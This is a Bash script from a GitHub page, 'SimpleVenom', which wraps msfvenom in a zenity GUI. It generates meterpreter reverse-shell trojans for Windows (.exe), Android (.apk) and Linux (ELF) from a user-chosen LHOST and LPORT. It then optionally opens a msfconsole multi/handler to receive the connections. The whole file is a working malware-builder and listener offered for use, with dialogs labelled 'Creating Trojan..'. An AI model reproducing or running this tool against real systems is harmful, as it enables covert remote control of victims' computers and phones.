-
Notifications
You must be signed in to change notification settings - Fork 10
/
simplevenom.sh
525 lines (456 loc) · 19.3 KB
/
simplevenom.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
#!/bin/bash
###############################
# a script by ByCh4n&lazypwny #
###############################
## variables
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
purple="\033[0;35m"
cyan="\033[0;36m"
cafe="\033[0;33m"
fiuscha="\033[0;35m"
blue="\033[1;34m"
tp="\e[0m"
setdir="$PWD"
setversion="1.0"
owner="ByCh4n&LazyPwny"
today=$(date | awk '{print $1,$2,$3,$4"-"$5}')
thistime=$(date | awk '{$5}')
setlhost=$(hostname -I | awk '{print $1}')
setlport="666"
setname="venom"
dc="https://discord.io/ByCh4n"
## ARGV
if [[ $1 =~ ^(-v|-V|--version|--VERSION|version) ]] ; then
echo "${setversion} ${owner}"
exit 0
elif [[ $1 =~ ^(-i|-I|--info|--INFO) ]] ; then
zenity --info --width=500 --title="SimpleVenom ${setversion} / ${owner}" --text="YouTube: https://www.youtube.com/channel/UCzOK1_NybPfqNb1V4Hjj-iw\nDiscord: ${dc}\nByCh4n: https://github.com/ByCh4n\nLazyPwny: https://github.com/lazypwny751"
exit 0
fi
## F(x)
function rastgele_renk {
echo -ne "\e[3$(( $RANDOM * 6 / 32767 + 1 ))m$rengarenk"
rengarenk=""
}
function checktool {
if ! [ -f "${setdir}/requirementtoinstall.sh" ] ; then
netcheckSI
curl -o "${setdir}/requirementtoinstall.sh" "https://raw.githubusercontent.com/ByCh4n/SimpleVenom/main/requirementtoinstall.sh"
if ! [ -f "${setdir}/requirementtoinstall.sh" ] ; then
echo -e "Ops Sorry We Can't Found ${red}requirementtoinstall.sh${tp} Pls Reinstall This Tool!"
exit 1
fi
fi
if [[ $(command -v ${1}) != "" ]] ; then
echo "${1} Found.."
else
netcheckSI
echo "${1} Can't Found Will Be Install.."
pkexec bash "${setdir}/requirementtoinstall.sh" "${1}"
if [[ $(command -v ${1}) != "" ]] ; then
echo "${1} Is Istalled And Ready To Use.."
else
echo "some unknown errors occurred, if the problem persists, you can contact us at our discord address.: $dc"
exit 1
fi
fi
if [[ ${exit2tool} = 1 ]] ; then
exit 1
fi
}
center() {
termwidth="$(tput cols)"
padding="$(printf '%0.1s' ={1..500})"
printf '%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#1})/2))" "$padding" "$1" 0 "$(((termwidth-1-${#1})/2))" "$padding"
echo -e "$tp"
}
banner () {
echo "███████╗██╗███╗ ███╗██████╗ ██╗ ███████╗
██╔════╝██║████╗ ████║██╔══██╗██║ ██╔════╝" ;rastgele_renk
echo "███████╗██║██╔████╔██║██████╔╝██║ █████╗
╚════██║██║██║╚██╔╝██║██╔═══╝ ██║ ██╔══╝" ;rastgele_renk
echo "███████║██║██║ ╚═╝ ██║██║ ███████╗███████╗
╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚══════╝╚══════╝" ;rastgele_renk
echo "██╗ ██╗███████╗███╗ ██╗ ██████╗ ███╗ ███╗
██║ ██║██╔════╝████╗ ██║██╔═══██╗████╗ ████║";rastgele_renk
echo "██║ ██║█████╗ ██╔██╗ ██║██║ ██║██╔████╔██║
╚██╗ ██╔╝██╔══╝ ██║╚██╗██║██║ ██║██║╚██╔╝██║";rastgele_renk
echo -e " ╚████╔╝ ███████╗██║ ╚████║╚██████╔╝██║ ╚═╝ ██║
╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝$tp\n\t\t\t\t${red}--${owner}$tp"
}
spin1 () {
count=0
total=$1
pstr="[=======================================================================]"
while [ $count -lt $total ]; do
sleep 0.5 # this is work
count=$(( $count + 1 ))
pd=$(( $count * 73 / $total ))
printf "\r%3d.%1d%% %.${pd}s" $(( $count * 100 / $total )) $(( ($count * 1000 / $total) % 10 )) $pstr
done
echo ""
}
function netcheckGUI {
wget -q --spider http://google.com
if [ $? -eq 0 ]; then
echo "Online [OK]"
else
zenity --warning --width=450 --height=50 \
--text="This Script Requires Internet Connection to Work!"
exit 1
fi
}
function netcheckSI {
wget -q --spider http://google.com
if [ $? -eq 0 ]; then
echo "OnLine "
else
echo "OffLine [-]"
exit 1
fi
}
function localip {
lhost=$(zenity --entry --title "SimpleVenom $setversion / $owner" --text "Entire Your LocalIP 'Default LocalIP: $setlhost'\n(If You Don't Know Leave Blank)")
if [ "$?" != 0 ] ; then
echo "thanks for use simplevenom (^-^)"
exit 0
fi
if [[ $lhost = "" ]] ; then
lhost="$setlhost"
echo -e "Set Lhost=> $lhost"
elif [[ $lhost != "" ]] ; then
re='^[0-9]+([.][0-9]+)+([.][0-9]+)+([.][0-9]+)?$'
if ! [[ $lhost =~ $re ]] ; then
zenity --error --width=100 --text "There Is Not IP!"
lhost="$setlhost"
echo -e "Set LocalIP=> $lhost"
else
echo -e "Set LocalIP=> $lhost"
fi
fi
}
function localport {
lport=$(zenity --entry --title "SimpleVenom $setversion / $owner" --text "Entire Your LocalPort 'Default LPORT: $setlport' \n(If You Don't Know Leave Blank)")
if [ "$?" != 0 ] ; then
echo "thanks for use simplevenom (^-^)"
exit 0
fi
if [[ $lport = "" ]] ; then
lport="$setlport"
echo -e "Set Lport=> $lport"
elif [[ $lport != "" ]] ; then
re='^[0-9]+$'
if ! [[ $lport =~ $re ]] ; then
zenity --error --width=150 --text "There Is Not LPORT!"
lport="$setlport"
echo -e "Set LocalPort=> $lport\n"
elif [[ $lport =~ $re ]] ; then
if [ $lport -gt 65535 ] ; then
zenity --error --width=150 --text "There Is Not LPORT!"
lport="$setlport"
echo -e "Set LocalPort=> $lport"
else
echo -e "Set LocalPort=> $lport"
fi
fi
fi
}
function nameoFile {
ne="${1}"
namefile=$(zenity --entry --width=300 --title "SimpleVenom $setversion / $owner" --text "Entire Name Of The File 'Default File Name: $setname'\n(If You Don't Know Leave Blank)")
if [[ "$?" != 0 ]] ; then
echo "thanks for use simplevenom (^-^)"
exit 0
fi
if [[ $namefile != "" ]] ; then
namefile="${namefile}.${ne}"
echo -e "Set File Name=> $namefile"
elif [[ $namefile = "" ]] ; then
namefile="${setname}.${ne}"
echo -e "Set File Name=> $namefile"
fi
}
function quest {
if [[ $1 = "" ]] ; then
quest="Are You Sure?"
elif [[ $1 != "" ]] ; then
quest="${1}"
fi
zenity --question --width 200 --text="${quest}"
if [[ "$?" != 0 ]] ; then
zenity --error --width 150 --text="Aborted By User."
echo "thanks for use simplevenom (^-^)"
exit 0
fi
}
function multihandlermonitor {
zenity --question --width 400 --text="Would you like to put the created exploit into listening mode?"
if [[ "$?" = 0 ]] ; then
echo "Started Msfconsole>Multi/Handler>$payload"
xterm -T "Msfconsole Multi/Handler Monitoring Screen" -fa monaco -fs 10 -bg black -e "pkexec msfconsole -x 'use exploit/multi/handler; set LHOST $lhost; set LPORT $lport; set PAYLOAD $payload; exploit'"
echo "thanks for use simplevenom (^-^)"
exit 0
elif [[ "$?" != 0 ]] ; then
zenity --info --width 400 --text="Our Discord: ${dc}\nSee Yea.. (¬‿¬)"
echo "thanks for use simplevenom (^-^)"
exit 0
fi
}
trap ctrl_c INT
ctrl_c() {
echo "Thx For Use SimpleVenom"
randend=$(( RANDOM % 3 ))
if [[ $randend = "1" ]] ; then
echo "> Hosta la vista baby"
elif [[ $randend = "2" ]] ; then
echo "> Aurevoir Mon Frere (^-^)"
elif [[ $randend = "3" ]] ; then
echo "> Wir sehen uns"
else
echo "> We Are Waiting For You: $dc"
fi
exit 0
}
checktool zenity
checktool msfvenom
checktool xterm
### main
printf '\033[8;25;90t'
banner
center "Log Screen V1 - $today" #payload=$(zenity --width=360 --height=320 --list --title "SimpleVenom $setversion / $owner" --text "Choise a Platform..." --column Platforms "windows/meterpreter/reverse_tcp" "windows/meterpreter/reverse_http" "windows/meterpreter/reverse_tcp_dns")
echo -e "Set Lhost=> $setlhost\nSet Lport=> $setlport\nSet File Name=> $setname\n"
while :; do
choiseplatform=$(zenity --width=360 --height=320 --list --title "SimpleVenom $setversion / $owner" --text "Choise a Platform..." --column Platforms "Windows" "Android" "Linux")
center "Set Platform: ${choiseplatform}"
if [ "$choiseplatform" = "Windows" ]; then
payload=$(zenity --width=360 --height=220 --list --title "SimpleVenom $setversion / $owner" --text "Choise a Payload:" --radiolist --column "Choose" --column "Option" TRUE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_tcp_dns")
if [ "$payload" = "" ] ; then
echo "thanks for use simplevenom (^-^)"
exit 0
fi
echo -e "Set Payload=> $payload"
localip
localport
nameoFile "exe"
if [[ -f ${setdir}/${namefile} ]] ; then
quest "Overwrite ${namefile} file exists in this directory?"
(
echo "10" ; sleep 0.3
echo "# Searching For Payload: ${payload}" ; sleep 0.3 # sadece boş ama hoş :D
echo "20" ; sleep 0.3
echo "# Preparing To Create File.." ; sleep 0.3 # sadece boş ama hoş :D
echo "50" ; sleep 0.3
echo "# Creating File To ${setdir}/${namefile}" ; msfvenom -p "${payload}" LHOST="${lhost}" LPORT="${lport}" -f exe -o "${setdir}/${namefile}"
echo "75" ; sleep 0.3
echo "# Complated Job." ; sleep 0.3 # sadece boş ama hoş :D
echo "100" ; sleep 0.3
) |
zenity --progress \
--width 400 \
--title="SimpleVenom $setversion / $owner" \
--text="Creating Trojan.." \
--percentage=0
if [ "$?" != 0 ] ; then
zenity --error \
--text="Aborted By User."
echo "Aborted By User Removing File: ${setdir}/${namefile}"
rm "${setdir}/${namefile}"
exit 0
fi
#####
else
#####
(
echo "10" ; sleep 0.3
echo "# Searching For Payload: ${payload}" ; sleep 0.3 # sadece boş ama hoş :D
echo "20" ; sleep 0.3
echo "# Preparing To Create File.." ; sleep 0.3 # sadece boş ama hoş :D
echo "50" ; sleep 0.3
echo "# Creating File To ${setdir}/${namefile}" ; msfvenom -p "${payload}" LHOST="${lhost}" LPORT="${lport}" -f exe -o "${setdir}/${namefile}"
echo "75" ; sleep 0.3
echo "# Complated Job." ; sleep 0.3 # sadece boş ama hoş :D
echo "100" ; sleep 0.3
) |
zenity --progress \
--width 400 \
--title="SimpleVenom $setversion / $owner" \
--text="Creating Trojan.." \
--percentage=0
if [ "$?" != 0 ] ; then
zenity --error \
--text="Aborted By User."
echo "Aborted By User Removing File: ${setdir}/${namefile}"
rm "${setdir}/${namefile}"
exit 0
fi
fi
if [[ -f ${setdir}/${namefile} ]] ; then
if [[ $(du -k "${setdir}/${namefile}" | cut -f1) = "0" ]] ; then
echo "Can not Creating File!"
zenity --error --width 220 --text "Cann ot Creating The File!"
exit 1
else
zenity --info --width 300 --title "${setdir}/${namefile}" --text "LHOST: $lhost\nLPORT:$lport\nFILENAME:$namefile"
multihandlermonitor
exit 0
fi
fi
elif [ "$choiseplatform" = "Android" ]; then
echo -e "Set Platform=> Android"
payload=$(zenity --width=360 --height=220 --list --title "SimpleVenom $setversion / $owner" --text "Choise a Payload:" --radiolist --column "Choose" --column "Option" TRUE "android/meterpreter/reverse_tcp" FALSE "android/meterpreter/reverse_https" FALSE "android/meterpreter/reverse_http")
if [ "$payload" = "" ] ; then
echo "thanks for use simplevenom (^-^)"
exit 0
fi
echo -e "Set Payload=> $payload"
localip
localport
nameoFile "apk"
if [[ -f ${setdir}/${namefile} ]] ; then
quest "Overwrite ${namefile} file exists in this directory?"
(
echo "10" ; sleep 0.3
echo "# Searching For Payload: ${payload}" ; sleep 0.3 # sadece boş ama hoş :D
echo "20" ; sleep 0.3
echo "# Preparing To Create File.." ; sleep 0.3 # sadece boş ama hoş :D
echo "50" ; sleep 0.3
echo "# Creating File To ${setdir}/${namefile}" ; msfvenom -p "${payload}" LHOST="${lhost}" LPORT="${lport}" R -o "${setdir}/${namefile}"
echo "75" ; sleep 0.3
echo "# Complated Job." ; sleep 0.3 # sadece boş ama hoş :D
echo "100" ; sleep 0.3
) |
zenity --progress \
--width 400 \
--title="SimpleVenom $setversion / $owner" \
--text="Creating Trojan.." \
--percentage=0
if [ "$?" != 0 ] ; then
zenity --error \
--text="Aborted By User."
echo "Aborted By User Removing File: ${setdir}/${namefile}"
rm "${setdir}/${namefile}"
exit 0
fi
#####
else
#####
(
echo "10" ; sleep 0.3
echo "# Searching For Payload: ${payload}" ; sleep 0.3 # sadece boş ama hoş :D
echo "20" ; sleep 0.3
echo "# Preparing To Create File.." ; sleep 0.3 # sadece boş ama hoş :D
echo "50" ; sleep 0.3
echo "# Creating File To ${setdir}/${namefile}" ; msfvenom -p "${payload}" LHOST="${lhost}" LPORT="${lport}" R -o "${setdir}/${namefile}"
echo "75" ; sleep 0.3
echo "# Complated Job." ; sleep 0.3 # sadece boş ama hoş :D
echo "100" ; sleep 0.3
) |
zenity --progress \
--width 400 \
--title="SimpleVenom $setversion / $owner" \
--text="Creating Trojan.." \
--percentage=0
if [ "$?" != 0 ] ; then
zenity --error \
--text="Aborted By User."
echo "Aborted By User Removing File: ${setdir}/${namefile}"
rm "${setdir}/${namefile}"
exit 0
fi
fi
if [[ -f ${setdir}/${namefile} ]] ; then
if [[ $(du -k "${setdir}/${namefile}" | cut -f1) = "0" ]] ; then
echo "Can not Creating File!"
zenity --error --width 220 --text "Cann ot Creating The File!"
exit 1
else
zenity --info --width 300 --title "${setdir}/${namefile}" --text "LHOST: $lhost\nLPORT:$lport\nFILENAME:$namefile"
multihandlermonitor
exit 0
fi
fi
elif [ "$choiseplatform" = "Linux" ]; then
echo -e "Set Platform=> Linux"
payload=$(zenity --width=400 --height=250 --list --title "SimpleVenom $setversion / $owner" --text "Choise a Payload:" --radiolist --column "Choose" --column "Option" TRUE "linux/x86/meterpreter_reverse_tcp" FALSE "linux/x86/meterpreter_reverse_http" FALSE "linux/x86/meterpreter_reverse_https" FALSE "linux/x86/meterpreter/reverse_ipv6_tcp")
if [ "$payload" = "" ] ; then
echo "thanks for use simplevenom (^-^)"
exit 0
fi
echo -e "Set Payload=> $payload"
localip
localport
nameoFile "bin"
if [[ -f ${setdir}/${namefile} ]] ; then
quest "Overwrite ${namefile} file exists in this directory?"
(
echo "10" ; sleep 0.3
echo "# Searching For Payload: ${payload}" ; sleep 0.3 # sadece boş ama hoş :D
echo "20" ; sleep 0.3
echo "# Preparing To Create File.." ; sleep 0.3 # sadece boş ama hoş :D
echo "50" ; sleep 0.3
echo "# Creating File To ${setdir}/${namefile}" ; msfvenom -p "${payload}" LHOST="${lhost}" LPORT="${lport}" -f elf -o "${setdir}/${namefile}"
echo "75" ; sleep 0.3
echo "# Complated Job." ; sleep 0.3 # sadece boş ama hoş :D
echo "100" ; sleep 0.3
) |
zenity --progress \
--width 400 \
--title="SimpleVenom $setversion / $owner" \
--text="Creating Trojan.." \
--percentage=0
if [ "$?" != 0 ] ; then
zenity --error \
--text="Aborted By User."
echo "Aborted By User Removing File: ${setdir}/${namefile}"
rm "${setdir}/${namefile}"
exit 0
fi
#####
else
#####
(
echo "10" ; sleep 0.3
echo "# Searching For Payload: ${payload}" ; sleep 0.3 # sadece boş ama hoş :D
echo "20" ; sleep 0.3
echo "# Preparing To Create File.." ; sleep 0.3 # sadece boş ama hoş :D
echo "50" ; sleep 0.3
echo "# Creating File To ${setdir}/${namefile}" ; msfvenom -p "${payload}" LHOST="${lhost}" LPORT="${lport}" -f elf -o "${setdir}/${namefile}"
echo "75" ; sleep 0.3
echo "# Complated Job." ; sleep 0.3 # sadece boş ama hoş :D
echo "100" ; sleep 0.3
) |
zenity --progress \
--width 400 \
--title="SimpleVenom $setversion / $owner" \
--text="Creating Trojan.." \
--percentage=0
if [ "$?" != 0 ] ; then
zenity --error \
--text="Aborted By User."
echo "Aborted By User Removing File: ${setdir}/${namefile}"
rm "${setdir}/${namefile}"
exit 0
fi
fi
if [[ -f ${setdir}/${namefile} ]] ; then
if [[ $(du -k "${setdir}/${namefile}" | cut -f1) = "0" ]] ; then
echo "Can not Creating File!"
zenity --error --width 220 --text "Cann ot Creating The File!"
exit 1
else
zenity --info --width 300 --title "${setdir}/${namefile}" --text "LHOST: $lhost\nLPORT:$lport\nFILENAME:$namefile"
multihandlermonitor
exit 0
fi
fi
else
echo "thanks for use simplevenom (^-^)"
exit 0
fi
done